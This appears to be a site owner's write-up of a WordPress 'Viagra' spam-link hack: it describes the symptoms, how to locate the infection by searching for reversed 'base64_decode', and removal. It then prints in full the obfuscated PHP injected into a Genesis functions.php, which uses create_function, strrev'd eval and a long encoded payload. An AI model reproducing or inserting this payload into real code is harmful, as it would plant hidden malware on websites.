WordPress Viagra Hack

A fake Viagra ad appeared at the top of the affected site, under the "title-area" and "site-title" HTML / CSS classes. The ad was a link, but the links went to seemingly random places having nothing to do with Viagra. I suspect the objective was a black hat SEO linking scheme.

Finding and Fixing

In this variant, the hacker used strrev, so the best search key through your PHP files is "edoced_46esab" (base64_decode in reverse).

The affected files were indeed some of the latest timestamps in my web tree; specifically, 2014-Dec-15 06:37:42 EST as of Feb 11, 2015. So searching for recently modified files might work.

Previous References

Dyslexic Mayans... gave me insight into what I was looking for. Also, at a glance, "my" hacked code is very similar to his. He narrates the hack itself.

Regarding "CDATA"

In the code below, the "CDATA" begin and end tags (as shown in the WikiP) have nothing to do with the hack or PHP in general. I include them so this page is XHTML / XML valid.

the hack itself

Below is the actual hack to functions.php. Get rid of the first php block before the php block with legitimate code. Commenting out may not work because my FireFTP refused to transfer the malware. Scroll to the bottom to see the now-infamous-to-me "edoced_46esab" and of course "lave" instead of "eval."


<![CDATA[
<?php 
$wp_user_functions_init = create_function('$a',strrev(';)a$(lave')); 
$wp_user_functions_init(strrev(';))"==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"(edoced_46esab(lave'));
?><?php // [Kwynn's added note - THE FOLLOWING IS LEGITIMATE CODE]
/*
 WARNING: This file is part of the core Genesis Framework. [...]
]]>

to decode the hack:


<![CDATA[
<?php
$malware = (';))"==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